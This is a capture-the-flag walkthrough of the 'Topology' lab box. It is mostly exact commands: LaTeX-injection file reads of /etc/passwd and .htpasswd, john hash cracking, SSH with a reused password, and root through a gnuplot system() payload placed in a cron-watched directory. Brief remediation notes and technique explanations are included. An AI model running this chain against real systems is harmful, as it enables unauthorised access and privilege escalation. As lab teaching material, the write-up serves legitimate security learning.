Topology
Summary
I found an Apache web server on port 80 hosting a Miskatonic University mathematics department site. Virtual-host probing uncovered a LaTeX equation renderer at latex.topology.htb and a developer preview at dev.topology.htb protected by HTTP Basic Auth. The renderer passed user-supplied LaTeX directly to a compiler without filtering dangerous file-read commands; injecting a \lstinputlisting{/var/www/dev/.htpasswd} directive caused the server to embed the dev-site credential file into the returned PNG image.
OCR of that image recovered an Apache APR1 hash for user vdaisley, which john cracked against the rockyou wordlist in seconds to reveal the password. Because the same password was reused for vdaisley's Linux OS account, SSH login succeeded immediately, yielding an interactive shell and the user flag. Post-foothold enumeration found /opt/gnuplot world-writable and processed by a root-owned cron job.
Dropping a single gnuplot script that called system() to copy /bin/bash with the SUID bit set gave root access within minutes — full system compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered, for vdaisley>"
export HASH="<the-hash-you-recovered>"Attack path — how the box was taken
Exact commands 4
Identify Apache version and grab the default-vhost page title.
$ nmap -Pn -sV -p80 --script=http-title,http-headers $TARGETRegister all discovered vhosts for name-based resolution.
$ echo "$TARGET topology.htb latex.topology.htb dev.topology.htb stats.topology.htb" | sudo tee -a /etc/hostsConfirm each vhost responds differently and note the 401 on dev.topology.htb.
$ for vhost in topology.htb latex.topology.htb dev.topology.htb stats.topology.htb; do echo "--- $vhost ---"; curl -si -H "Host: $vhost" http://$TARGET/ | head -4; doneVerify directory listing and confirm equation.php is present.
$ curl -si http://latex.topology.htb/Exact commands 3
Inject the file-read primitive; the server compiles the LaTeX and returns a PNG.
$ curl -sS -G --data-urlencode 'eqn=$\lstinputlisting{/etc/passwd}$' http://latex.topology.htb/equation.php -o /tmp/passwd_render.pngConfirm the response is a valid PNG rather than an error page.
$ file /tmp/passwd_render.pngOCR the rendered image to read the embedded file contents.
$ tesseract /tmp/passwd_render.png stdout --psm 6FixDisable dangerous file-read commands in the LaTeX equation rendererCritical
Exact commands 2
Target the dev-site credential file using the same injection point.
$ curl -sS -G --data-urlencode 'eqn=$\lstinputlisting{/var/www/dev/.htpasswd}$' http://latex.topology.htb/equation.php -o /tmp/htpasswd_render.pngRecover the hash line: vdaisley:$HASH
$ tesseract /tmp/htpasswd_render.png stdout --psm 6Exact commands 3
Write the hash in user:hash format; single quotes prevent the shell from expanding the $ characters.
$ echo "vdaisley:$HASH" > /tmp/vdaisley.htpasswdCrack the APR1 hash; --format=md5crypt covers Apache's $apr1$ variant.
$ john --format=md5crypt --wordlist=/usr/share/wordlists/rockyou.txt /tmp/vdaisley.htpasswdDisplay the recovered credential: vdaisley:$PASSWORD
$ john --show --format=md5crypt /tmp/vdaisley.htpasswdFixReplace the weak APR1 hash scheme with bcrypt in .htpasswdHigh
Exact commands 1
Confirm shell access and capture the user flag.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o PreferredAuthentications=password -o PubkeyAuthentication=no vdaisley@$TARGET 'id; cat /home/vdaisley/user.txt'FixEnforce unique passwords across web services and OS accountsHigh
Exact commands 1
Confirm world-writable permissions on /opt/gnuplot from the vdaisley shell.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no vdaisley@$TARGET 'id; ls -ld /opt /opt/gnuplot'FixRemove world-write access from cron-processed directoriesCritical
Exact commands 4
Create the gnuplot payload file locally; double quotes inside single quotes are literal in bash.
$ echo 'system("cp /bin/bash /tmp/rootbash; chmod u+s /tmp/rootbash")' > /tmp/privesc.pltDrop the payload into the world-writable /opt/gnuplot directory.
$ sshpass -p "$PASSWORD" scp -o StrictHostKeyChecking=no /tmp/privesc.plt vdaisley@$TARGET:/opt/gnuplot/privesc.pltPoll every 2 s for the SUID bash copy — typically appears within 60 s when the cron fires.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no vdaisley@$TARGET 'for i in $(seq 1 90); do [ -u /tmp/rootbash ] && break; sleep 2; done; ls -l /tmp/rootbash'Execute as effective root (euid=0) and capture the root flag.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no vdaisley@$TARGET '/tmp/rootbash -p -c "id; cat /root/root.txt"'
euid=0(root)Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Cron Job AbuseLinux · Privilege EscalationT1053.003
What it is
Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, an unauthorised user overwrites it with a payload that runs at the next interval as root.
Why it works
Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.41 ((Ubuntu)) |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.